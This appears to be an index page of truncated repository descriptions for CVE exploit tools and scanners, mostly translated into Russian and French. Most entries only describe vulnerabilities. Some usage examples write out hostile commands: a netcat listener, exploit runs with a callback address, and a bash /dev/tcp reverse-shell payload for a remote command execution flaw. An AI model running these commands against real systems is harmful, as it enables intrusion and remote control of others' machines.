CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 Описание PoC для удаленного выполнения кода RCE в Mirth Connect Затрагивает Mirth Connect Пример Запуск слушателя nc -lvnp 4444 Запуск эксплойта ./exploit https://target.com 10.10.10.10 4444 Ссылки https://nvd.nist.gov/vuln/detail/CVE-2023-43208...

CVE-2026-16723

CVE-2026-16723 Exploit A standalone C++17 implementation for CVE-2026-16723 , a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83. Requirements Linux or WSL on Windows C++17 compatible compiler GCC 7+ or Clang 5+ CMake 3.10 or newer System packages: libzip-dev zlib1g-dev Debian /...

CVE-2021-41074

CVE-2021-41074 CSRF dans Qloapps HotelCommerce 1.5.1 Il y a une vulnérabilité CSRF dans HotelCommerce 1.5.1. Elle peut permettre à quiconque de modifier l'email de l'administrateur. Si un attaquant parvient à faire cliquer un administrateur sur un document HTML malveillant, ils peuvent modifier...

CVE-2019-19652

CVE-2019-19652 Атака понижения версии Chevereto - 1.0.0 - 1.1.4 Free, = 3.13.5 Core. Администратор может указать скрипту обновления загрузить другую версию вместо обновления, возвращая предыдущие уязвимости. Из-за отсутствия CSRF-токена эта атака также может быть использована в CSRF-атаке, то ест...

CVE-2017-9554-Exploit-Tool

CVE-2017-9554-Exploit-Tool CVE-2017-9554 Exploit Tool Synology DiskStation Manager DSM 6.1.3-15152 - 'forgetpasswd.cgi' Инструмент перечисления пользователей EXPLOIT Автор эксплойта : Steve Kaun Автор инструмента эксплойта : Ez0-yf Сайт производителя : https://www.synology.com Версия : До...

-CVE-2025-59528-PoC

CVE-2025-59528-PoC À DES FINS ÉDUCATIVES UNIQUEMENT Un script Python simple pour exploiter CVE-2025-59528, il s'agit d'une vulnérabilité RCE authentifiée dans l'application Flowise, un outil d'IA populaire, qui fait également partie d'un défi saisonnier HTB, sur lequel je l'ai testé d'ailleurs. S...

Apache-Hunter

ApacheHunter - Scanner Avancé de Serveurs Apache Développé par Rownok Ahmed Khan GitHub:https://github.com/Rk-000 ApacheHunter est un scanner puissant conçu pour détecter les serveurs Apache, identifier leurs versions et vérifier la présence de la vulnérabilité CVE-2024-22393 Pixel Flood dans les...

CVE-2018-16763

CVE-2018-16763 Fuel CMS 1.4.1 - Удаленное выполнение кода - Python 3.x Оригинальный скрипт : Exploit-DB...

CVE-2009-4623

Advanced Comment System 1.0 - Удаленное выполнение команд RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Примеры python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-par-skdevils Titre de l'exploit: Pluck CMS 4.7.16 - Exécution de code à distance RCE Authentifié Date: 13.03.2022 Auteur de l'exploit: Ashish Koli Shikari Page d'accueil du fournisseur: https://github.com/pluck-cms/pluck Version: 4.7.16 Testé sur Ubuntu 20.04.3 LTS CVE:...

OpenSSL-1_0_1g_CVE-2015-1792

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson Tous droits réservés. DESCRIPTION Le projet OpenSSL est un effort collaboratif pour développer une boîte à outils robuste, de qualité commerciale, complète et Open Source mettant...

CVE-2022-41741-742-Nginx-Vulnerability-Scanner

🛡️ Scanner de vulnérabilités Nginx Développé par m10sec. Ce script détecte automatiquement la version de Nginx sur un serveur distant et évalue s'il est vulnérable à des failles de sécurité connues, spécifiquement : CVE-2023-44487 – HTTP/2 Rapid Reset Attack CVE-2022-41741 – Corruption mémoire dan...

external_expat_AOSP10_r33_CVE-2022-22822toCVE-2022-22827

Expat, релиз 2.2.6 Это Expat — библиотека на C для разбора XML, созданная James Clark в 1997 году. Expat — это потоковый XML-парсер. Это означает, что перед началом разбора вы регистрируете обработчики в парсере. Эти обработчики вызываются, когда парсер обнаруживает соответствующие структуры в...

CVE-2025-6254

CVE-2025-6254 python exploit.py -u http://localhost:8080 python exploit.py -f targets.txt -T 50 -t 8 python exploit.py -f targets.txt -o sonuclar.txt --role editor CVE-2025-6254 - Doctreat Core = 1.6.8 Повышение привилегий без аутентификации ИСПОЛЬЗУЙТЕ ТОЛЬКО В СВОЕЙ ТЕСТОВОЙ СРЕДЕ...

cve-2023-45612_exploit

cve-2023-45612exploit CVE-2023-45612 est un problème de sécurité de haute sévérité qui permet des attaques XXE XML eXternal Entity sur la sérialisation XML de Ktor, qui a été corrigé en 2023. Reproduction du problème de sécurité Voici une manière détaillée dont j'ai reproduit le problème. Projet...

CVE-2023-29007_win-version

CVE-2023-29007win-version оригинальный PoC https://github.com/ethiack/CVE-2023-29007 Репозиторий PoC для CVE-2023-29007 Дополнительная информация доступна по адресам: https://blog.ethiack.com/en/blog/git-arbitrary-configuration-injection-cve-2023-29007...

OpenSSL-2022

Уязвимость OpenSSL 2022 года - CVE-2022-3602/CVE-2022-3786 Этот репозиторий содержит операционную информацию о CVE-2022-3602 и CVE-2022-3786, двух уязвимостях в OpenSSL 3.0.0-3.0.6. Дополнительную информацию см.: Совет по безопасности OpenSSL FAQ в блоге OpenSSL Предупреждение CERT-Bund DE...

PoC-CVE-2024-44349

PoC-CVE-2024-44349 Vulnérabilité trouvée et testée dans Anteeo WMS - v4.7.31 La vulnérabilité permet à des acteurs malveillants de construire une commande SQL dans le paramètre username et de divulguer des données dans la base de données sous-jacente. Les versions impactées d'ANTEEO B2B WMS vont ...

lua-ffi-libinjection

Name lua-resty-libinjection - LuaJIT FFI bindings for libinjection Status This library is in active development and is production ready Description This library provides FFI bindings for libinjection, a SQL/SQLi and XSS tokenizer and analyzer. Installation Install this library as you would any...

FluentD-TD-agent-Exploit-CVE-2020-28169

FluentD-TD-agent-WindowsExploit V4.0.1 CVE-2020-28169 Небезопасные разрешения папки, ведущие к повышению привилегий Ссылка для загрузки: https://td-agent-package-browser.herokuapp.com/4/windows...